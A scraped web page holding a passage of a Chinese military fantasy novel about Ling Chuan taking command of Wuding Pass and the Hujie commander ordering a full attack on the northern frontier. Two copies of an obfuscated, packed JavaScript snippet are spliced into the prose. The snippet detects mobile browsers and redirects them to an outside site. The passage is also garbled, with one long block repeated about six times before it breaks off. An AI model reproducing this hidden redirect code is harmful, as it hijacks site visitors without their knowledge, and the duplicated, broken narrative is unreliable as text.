兵道伐谋,奇正相合! 陈暻垚一脸笑意,说道:“放眼整个阑州战线,武定关的重要性仅次于朝天垭,你来之前我还真不放心离开! 紧接着,陈暻垚的目光从麾下这一众校尉身上扫过,“他们之中不乏百战老卒,个个都是无畏生死的敢战之兵,但,若要让他们统领武定关这一万兵马,而且,随时有可能与胡羯大军开战,我着实不放心! 陈暻垚的话说得很直白,但几名校尉并未反驳,因为他们心里很清楚,若陈暻垚真将武定关所有兵马全部交给他们,他们心里还真没底。 尽管今日是第一次与凌川见面,但,陈都尉看好的人定然不会差,更何况,此次开战以来,凌川三战连捷,足足斩杀了三万敌军。 仅凭这两点,让凌川接掌武定关,他们毫无怨言。 然而,凌川却摇头拒绝道:“你有所不知,我此次前来武定关支援,并不是受节度府之命,而是个人擅自前来,若我在武定关喧宾夺主,这无异于授人以柄,到时候你我都说不干净! 陈暻垚神色不改,似乎早已知晓。 “你昨天进的武定关,当晚阑州便传令让我回去,你可曾想过,这是为何?陈暻垚问道。 凌川目光微凝,说道:“薛镇锷知道我来了? 陈暻垚笑着点头,以凌川的智慧,能猜到这一点陈暻垚丝毫不觉得意外。 “以你的才能,别说是武定关这一万兵马,就算是阑州的数万大军全权交给你,你也能运筹帷幄、如臂使指!陈暻垚期待地看着凌川,继续说道:“你的决定,事关武定关的存亡,更关乎着整个北疆防线的稳固和北境七州的安稳,你真要拒绝? “你就那么相信我?凌川迎上陈暻垚的目光,问道。 “我信你,胜过信我自己! 陈暻垚这倒不是吹捧,先不谈之前在狼烽口,凌川表现出来的各种才能,仅仅这一次,他以一千五百云岚军,干掉了三万多胡羯大军,就足以用传奇二字来形容。 最主要的是,这三战打下来,他一千五百云岚军,只损失了寥寥数十人,几乎可以忽略不计。 虽然铁鳞城外那一战朔州军参与其中,曳敕滩一战,自己的阑州军也赶去猎杀残兵,但,他心里很清楚,就算朔州军和自己的阑州军全程不出现,最终的结果也差不多。 此等惊世骇俗的战绩,就算放眼历史,也很难找出与之相提并论的存在。 哪怕是前朝那位兵仙,一战打垮王庭十六部的六十万联兵,平定漠北关外,功绩流传百世,但那一战, 中原四十万玄甲军也打得十不存一。 两相比较,凌川这三战更富传奇色彩。 话已至此,凌川知道自己无法拒绝,只见他给自己倒了一碗酒,自顾自喝了起来,也不知在想些什么。 片刻后,凌川将酒碗置于桌上,缓缓道:“此前三战虽是大获全胜,但皆为奇招,在真正的兵法大家看来,不过是投机取巧,算不得用兵正道!” “那又如何?在我看来,用兵之道本就是奇正相合,管它什么手段能取胜就是王道!”陈暻垚字字铿锵。 凌川却是轻叹了一口气,起身来到沙盘跟前。 众人见状,也纷纷围到沙盘周围,只见凌川拿起拇指粗的竹竿,指着朝天垭的方向,说道: “朝天垭与武定关互为关联,一荣俱荣一损俱损,如果我所料不错的话,昨夜对朝天垭发动进攻根本就不是试探,而是他们约定好的总攻!” 凌川顿了顿,继续说道:“你们想想,如果孛儿帖那两万大军没有折在曳敕滩,最终的目标会是何处?” 众人闻言,神色皆是一愣,随即有人答道:“是咱们武定关!” “不错!”凌川点头说道:“胡羯在朝天垭屯兵三万,这已经是极限,所以,那两万人并非是赶往朝天垭,而是直奔武定关而来!” 陈暻垚也点头表示赞同,说道:“对,昨晚朝天垭根本不是试探,而是与孛儿帖约定好的,同时对朝天垭和武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977493|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定关发起总攻,可最终孛儿帖的两万大军未能及时赶到,他们这才停止攻击,选择收兵。” “为了攻破阑州,拓跋桀连蛇窟都出动了,更是付出了如此惨重的代价,接下来,定会有一场鏖战!”凌川沉声说道。 陈暻垚走上来,拍了拍他的肩膀,说道:“我相信,你一定行!” 紧接着,他转过目光看向众人,说道:“全体听令!” 所有人立马正身听令。 “从现在开始,凌川代本都执掌武定关,一切军务皆听他定夺,如有抗命不遵者,可就地格杀!”陈暻垚的目光从众人身上扫过,说道。 “遵命!” 一众校尉齐声答道。 “这里就交给你了,我得立马赶回阑州!”陈暻垚对凌川说道。 “放心吧!我一定竭尽全力!”凌川回答道。 凌川甚至都没有出门相送,而是继续围绕在沙盘跟前,向他们了解武定关的城防布置、兵力配置、以及备战情况。 各营校尉纷纷将自己所负责的情况汇报。 紧接着,凌川又了解了备战物资等补给情况,将其记在心里。 虽说他没有苏璃那种过目不忘的本领,但,对于这些敏感信息,却能一一牢记。 了解情况之后,凌川不由得感叹,陈暻垚确实是一位不可多得的将帅之才,之前在狼烽口,他的能力并没有得到展现,如今,在武定关,陈暻垚的能力便逐渐显露出来。 从兵力分配到城防布置,所有细节都做到滴水不漏,可以说是将武定关这一万兵力运用到了极致。 为将者,不仅需要自身的勇猛和出色的谋略,更需要对麾下所有大小事务了如指掌,只有这样,才能做到有序调配。 不过,凌川还是做了一些细微调整,倒不是说陈暻垚做得不够好,而是如今的局势跟之前不一样了。 战场本就瞬息万变,能够实时掌握情况,并从中捕捉到战机,同样是为将者所要具备的能力。 第156章 全线开战! 斡拏城,元帅府! 拓跋桀怒目圆瞪,整张脸阴沉得可怕,下方,一众将领深埋着头,不敢与之对视。 “凌川,又是凌川!” 拓跋桀重重一拳砸在桌上,咬牙说道:“一个乳臭未干的小崽子,竟屡次让我军受挫!” 得知孛儿帖的两万大军竟然被淹死在曳敕滩的消息,拓跋桀甚至怀疑自己听错了。 那可是足足两万人啊,被淹死在草原上,这简直令人发笑。 平心而论,狼蚀和孛儿帖的死,对于拓跋桀而言,并非全是坏消息。 他心里很清楚,天汗城这次派他们前来,表面上是协助自己一举攻破北疆,可实际上,未尝没有架空自己的意思。 他可以肯定,只要北疆防线一破,南征军将彻底易帜。 自己那位大汗兄长决不允许自己携泼天军功回朝与他共享天下,所以,北疆防线被攻破之后,摆在他面前的只有两条路。 要么交出兵权,从此解甲归田、马放南山,做一个闲散王爷。 要么就是死在这北疆,至于是战死沙场、马革裹尸,成为受人传颂的胡羯英雄。 亦或是被悄无声息被拿下,惨死在无人知晓的角落,就连死后都要扣上拥兵自重、意图谋反的罪名,成为受无数人唾弃的乱臣贼子。 他虽为南征主帅,看似一人之下万人之上,可他心里很清楚,自己手底下那些将领表面上唯自己之命是从,可天汗城的命令一旦传来,他们之中大部分人都会倒戈相向。 这些将领皆是来自各大部落,每一个人的身后都有一个族群,他们若敢不听令,整个族群都将被**殆尽。 换言之,他们同样没有选择的权利,除非他们不顾自己族人的生死。 这也是这些年他一直在军中培养自己的嫡系的原因,为的便是有朝一日,能有自保之力。 如七大战将,便是他精心培养出来的嫡系,这七人出生要么是出身低微的流民或奴隶,要么是霍元青之流,只可惜刚能独当一面,两人便先后死在狼烽口外。 也正是因为狼烽口接连失利,让天汗城找到借口,派出七名将领,接管自己麾下的七支主力军。 如今的拓跋桀处境艰难,他想要在死局中找到一条生路,唯有一种可能,那就是当北疆防线被攻破的时候,帝国还得让他执掌南征军横扫大周。 那就得让着七大部落的话事人纷纷死在这一战之中,唯有如此,北疆被攻破的时候,帝国无人可用,只能继续让自己执掌南征军。 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977494|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 偌大的帅帐鸦雀无声,所有人神色肃穆,都在等待他的命令。 卢恽筹目光缓缓从众人身上扫过,问道:“现在七州之地还能抽掉多少兵马?” 身为总参军的章绩上前一步,回答道:“回禀大将军,此前七州腹地的兵马已经抽掉得差不多了,还剩下的,也都是一些新兵!” “各州再抽掉五千人,没上过战场的新兵就当辅兵用!”卢恽筹开口说道。 很快便有传信兵将命令传达了下去。 “粮草呢,都到了吗?”卢恽筹看着章绩,又问道。 “三日前已如数送至各州!”章绩回答道。 就在这时,副参军叶世珍上前禀报道:“大将军,兵部从幽州、青州、蓟州等地派出五万援军,于三日前已经起程,最快十日便可抵达!” 卢恽筹闻言,不屑冷笑道:“派五万没上过战场的雏儿,还不如给我五万石粮有用!” “对了,凌川那小子现在何处?”卢恽筹似乎想起了什么,问道。 章绩正欲开口,叶世珍却抢先一步说道:“回禀大将军,凌川于两日前抵达阑州,如今,正在武定关休整!” 所以,当听到狼蚀与孛儿帖身死的消息,拓跋桀内心是高兴的,但用数万大军为他二人陪葬,这代价着实是大了些。 更让他难以接受的是,三万大军竟然葬身一人之手,这对于他乃至整个南征军而言,都是莫大的耻辱。 许久之后,拓跋桀的怒火才逐渐平息,只见他抬起目光看着下方,说道: “传令各路大军,三日之后,对大周北疆全面发起进攻!” 此命令一出,偌大帅府之中噤若寒蝉,仿佛空气都要凝固下来。 时隔多年,胡羯与大周终于要全面开战了吗? 只见拓跋桀缓缓站起身来,大声喝道:“将所有辅兵、民夫全部调至前线,三处大营的可战之兵也全部派出去,就算是用尸体填,本帅也要在北疆防线跟前填出一条大道来!” “此战,乃国运之战,若胜我胡羯铁骑将踏破北疆国门长驱直入,江南饮马一统天下,我等也能去看一看那号称雄绝天下的神都城!” “若败,我等将葬身边境,成为黄土中的一堆枯骨!” 紧接着,拓跋桀又下达了一系列的命令。 首先是重新组建三万兵马赶赴朔州,继续攻打铁鳞城,其次是将所有兵马全部调动起来,分别支援七路大军。 要知道,拓跋桀麾下的南征军足有六十万,就算除去辅兵和辎重部队,也有整整四十万。 六十万大军横压北疆,这绝对是近几十年来规模最大的战事。 反观大周北系军,七州兵马加起来,也不过四十万,看似在兵力上双方持平,而且,大周还有地利之势,这一战胜算颇大。 然而,也正是因为大周作为防守方,需要全线布防,因为,敌人占据进攻的主动,随时可以更换进攻目标,只要能突破一处,整条防线都将随之崩溃。 两相比较,大周北系军坐拥地利,而胡羯军则是占据人和。 所以,这一战的结果到底如何,还有未可知。 北疆大营。 身着麒麟载道山河胄的卢恽筹立身于沙盘跟前,随着一道道紧急军情传入帅帐之中,他的眉头也逐渐紧锁。 同样,帅帐之中的其他人神色也凝重到了极点,不时观察着卢恽筹的表情变化。 “看来,拓跋桀是彻底坐不住了,要来个一战定乾坤啊!”卢恽筹缓缓开口说道。 